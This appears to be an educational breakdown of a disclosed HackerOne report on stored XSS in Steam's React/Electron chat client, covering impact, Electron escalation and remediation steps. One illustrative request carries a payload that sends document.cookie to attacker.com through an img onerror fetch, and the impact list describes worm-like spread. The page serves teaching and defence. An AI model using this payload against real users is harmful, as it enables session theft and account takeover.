← All breakdowns
XSSmedium$7,500Valve

XSS in the Steam React chat client

User-controlled content rendered in Steam's chat client executed as script, showing that XSS isn't just a browser problem - it bites Electron/React desktop apps too, where the impact can reach the local system.

Read the original HackerOne report

Steam's React-based chat client rendered user-supplied content as live script - a cross-site scripting vulnerability inside a native desktop application worth $7,500 and a reminder that "it's not a browser" is no defence against XSS.

Stay Legal

This breakdown is for educational purposes and understanding real-world vulnerabilities. Only test techniques like these on systems you own or have explicit written authorization to assess.

The Target

Steam's updated chat interface, shipped as part of the redesigned Steam client, was built using React and Electron - a pattern that embeds a Chromium browser engine inside a desktop application. This approach lets development teams use modern web technologies for native apps, but it also carries web-security risks into the desktop context. The chat feature rendered messages sent between users, and user-controlled message content was the attack surface.

The Vulnerability

The bug was a stored Cross-Site Scripting (XSS) vulnerability. A portion of the chat message rendering pipeline applied insufficient sanitization or output encoding to user-controlled content before writing it into the DOM. The result: an attacker could craft a message containing a script payload that, when rendered inside the victim's Steam client, executed JavaScript in the context of the Steam chat interface.

In a conventional browser, XSS is limited by the browser sandbox and the Same-Origin Policy. Inside Electron, the threat model is different: depending on the app's security configuration (nodeIntegration, contextIsolation, sandbox flags), injected JavaScript may have access to Node.js APIs - meaning the script can read the filesystem, spawn child processes, or make arbitrary network requests, effectively giving the attacker native code execution through a script injection.

Even without Node.js access, XSS in the Steam client allows an attacker to steal Steam session tokens, interact with Steam's internal IPC or web APIs on the victim's behalf, and exfiltrate account data - all silently, triggered merely by the victim opening a chat message.

How It Was Found

The researcher tested Steam's chat message rendering for XSS using the standard methodology: submit payloads that probe whether HTML is interpreted, whether script tags are executed, and whether event handlers are evaluated. React uses a virtual DOM that normally escapes output - but dangerous patterns such as dangerouslySetInnerHTML, improper use of third-party rich-text renderers, or a pre-render sanitization gap can bypass React's built-in protections.

An illustrative XSS probe sent as a chat message:

POST /api/chat/send HTTP/1.1
Host: community.steam-api.com
Cookie: steamLoginSecure=<session>
Content-Type: application/json
 
{
  "steamid_partner": "76561198XXXXXXXXX",
  "message": "<img src=x onerror=\"fetch('https://attacker.com/steal?t='+document.cookie)\">"
}

If the recipient's client renders this without encoding the angle brackets and event handler, the onerror callback fires and exfiltrates the session cookie. Valve awarded $7,500 for this report, reflecting the severity of authenticated script execution inside a widely-installed desktop client.

researcher@kali: ~
 

Impact

  • Stored XSS inside the Steam desktop client - the payload is delivered to any user who opens the crafted chat message, requiring no further user interaction.
  • Potential access to Steam session cookies and local storage tokens, allowing the attacker to authenticate as the victim on Steam's web services.
  • In Electron apps with nodeIntegration enabled, XSS escalates to full remote code execution on the victim's machine.
  • An attacker could automate the payload to propagate via chat - send the malicious message to every contact in the victim's friend list, achieving worm-like spread across Steam's hundreds of millions of users.
  • Account takeover, item theft from Steam inventories, and installation of malware are all within reach.
  • Valve awarded $7,500 for this report.

The Fix

Remediation for XSS in an Electron/React application involves layers at both the application and the framework level:

  1. Audit all raw DOM injection points - any use of dangerouslySetInnerHTML or direct DOM manipulation (.innerHTML, .outerHTML) must sanitize input with a library such as DOMPurify before rendering.
  2. Sanitize rich text at the API boundary - strip or encode HTML from user-supplied content before it is stored and before it is returned to clients.
  3. Enable Electron security flags - set nodeIntegration: false, contextIsolation: true, and sandbox: true on all BrowserWindow and webview instances; these prevent XSS from escalating to Node.js code execution.
  4. Implement a strict Content Security Policy - a CSP that disallows inline scripts and restricts script-src to known origins limits the damage from any future XSS finding.
  5. Use React's default escaping - avoid patterns that bypass React's built-in output encoding; render user content as text nodes, not HTML.

What You Can Learn

  • Electron apps are browsers with elevated privileges. The XSS attack surface is identical to the web, but the potential impact is far greater - especially when nodeIntegration is enabled.
  • React's virtual DOM does not make XSS impossible. dangerouslySetInnerHTML and third-party rendering libraries that touch the raw DOM are the most common bypass paths.
  • Stored XSS is more dangerous than reflected. The attacker doesn't need to trick a victim into clicking a link - delivering the payload via a chat message is enough.
  • XSS in chat systems has worm potential. A self-propagating payload that sends itself to all contacts can achieve exponential spread across a large user base.
  • Session tokens in desktop apps are valuable targets. Unlike a browser where SameSite cookies offer some protection, Electron apps may store tokens in localStorage or IndexedDB, often accessible to injected scripts.

Canonical Report

Full technical details are in the original HackerOne disclosure: HackerOne #409850 - XSS in Steam's React chat client ($7,500)

Learn the skill behind it

Cross-Site Scripting (XSS)

Open lesson